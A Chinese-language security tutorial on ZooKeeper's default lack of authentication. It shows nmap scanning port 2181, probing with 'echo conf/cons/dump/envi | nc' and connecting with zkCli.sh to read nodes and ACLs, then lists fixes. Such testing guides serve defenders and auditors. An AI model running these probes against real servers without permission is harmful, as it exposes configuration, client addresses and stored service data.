本篇简单介绍Zookeeper未授权访问相关问题,一些基础的命令和测试使用演示。
前言
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。
zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露。
默认使用端口:2181、2182。
探测Zookeeper服务开放
如使用nmap探测某个目标地址是否运行Zookeeper服务,探测2181端口开放。
root@kali:~# nmap -Pn -p 2181 xx.xx.xx.xx
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT
Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)
Host is up (0.016s latency).
PORT STATE SERVICE
2181/tcp open eforward
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
批量探测仅需修改一下对应的目标地址即可。
获取信息
conf命令
输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
root@kali:~# echo conf | nc xx.xx.xx.xx 2181
clientPort=2171
dataDir=/opt/data/zookeeper/data/version-2
dataLogDir=/opt/data/zookeeper/data/version-2
tickTime=2000
maxClientCnxns=0
minSessionTimeout=4000
maxSessionTimeout=40000
serverId=0
cons命令
列出所有连接到当前服务器的客户端/会话的详细信息。
root@kali:~# echo cons | nc xx.xx.xx.xx 2181 | more
/10.23.46.40:11958[1](queued=0,recved=27317,sent=27317,sid=0x1000000e029b16e,lop=PING,est=1571277639586,to=40000,lcxid=0x33,lzxid=0x286a720,lresp=2435779043,llat=0,minlat=0,avglat=0,maxlat=397)
/10.23.46.39:9688[1](queued=0,recved=27316,sent=27316,sid=0x1000000e029b17c,lop=PING,est=1571277641790,to=40000,lcxid=0x33,lzxid=0x286a71c,lresp=2435777895,llat=0,minlat=0,avglat=0,maxlat=560)
dump命令
输出未处理的会话和临时节点,leader 节点有效。
root@kali:~# echo dump | nc xx.xx.xx.xx 2181 | more
SessionTracker dump:
Session Sets (21):
0 expire at Thu Jan 29 12:38:08 CST 1970:
0 expire at Thu Jan 29 12:38:10 CST 1970:
3 expire at Thu Jan 29 12:38:12 CST 1970:
0x1000000e01f0013
0x1000000e029fdde
0x1000000e029fe05
2 expire at Thu Jan 29 12:38:14 CST 1970:
0x1000000e02a4235
0x1000000e01f00e9
31 expire at Thu Jan 29 12:38:16 CST 1970:
0x1000000e01f067a
0x1000000e02a423c
0x1000000e01f0008
0x1000000e029fdf4
...
非 leader 节点看不到什么相关信息。
envi命令
输出服务器的详细信息。
root@kali:~# echo envi | nc xx.xx.xx.xx 2181
Environment:
zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT
host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06
java.version=1.7.0_80
java.vendor=Oracle Corporation
java.home=/usr/java/jdk1.7.0_80/jre
java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.10.0-327.36.3.el7.x86_64
user.name=root
user.home=/root
user.dir=/
连接测试
安装工具
如在kali下,可以用如下命令安装zookeeper工具,之后即可使用客户端连接工具zkCli.sh。
# apt-get install zookeeper
...
#root@kali:~# cd /usr/share/zookeeper/bin/
#root@kali:/usr/share/zookeeper/bin# ls
zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh
连接目标
使用-server参数指定目标即可连接。
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
... 已连接
获取系统相关信息
root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181
Connecting to xx.xx.xx.xx:2181
Welcome to ZooKeeper!
JLine support is enabled
[zk: xx.xx.xx.xx:2181(CONNECTING) 0]
WATCHER::
WatchedEvent state:SyncConnected type:None path:null
[zk: xx.xx.xx.xx:2181(CONNECTED) 0] ls /
[service, pms, DsMaster, Resource, monitor_lock, zookeeper]
[zk: xx.xx.xx.xx:2181(CONNECTED) 1] get /
cZxid = 0x0
ctime = Wed Dec 31 19:00:00 EST 1969
mZxid = 0x0
mtime = Wed Dec 31 19:00:00 EST 1969
pZxid = 0x4c0
cversion = 4
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 6
[zk: xx.xx.xx.xx:2181(CONNECTED) 2] get /service
cZxid = 0x2
ctime = Thu Aug 30 02:58:40 EDT 2018
mZxid = 0x2
mtime = Thu Aug 30 02:58:40 EDT 2018
pZxid = 0x1cb884d
cversion = 7
dataVersion = 0
aclVersion = 0
ephemeralOwner = 0x0
dataLength = 0
numChildren = 3
[zk: xx.xx.xx.xx:2181(CONNECTED) 3] getAcl /
'world,'anyone
: cdrwa
修复方案
1、设置防火墙策略限制 IP 访问
2、不要将 zookeeper 暴露在外网
3、设置用户认证和 ACL
作者:starnight_cyber
github:https://github.com/starnightcyber/
-------------------------------------------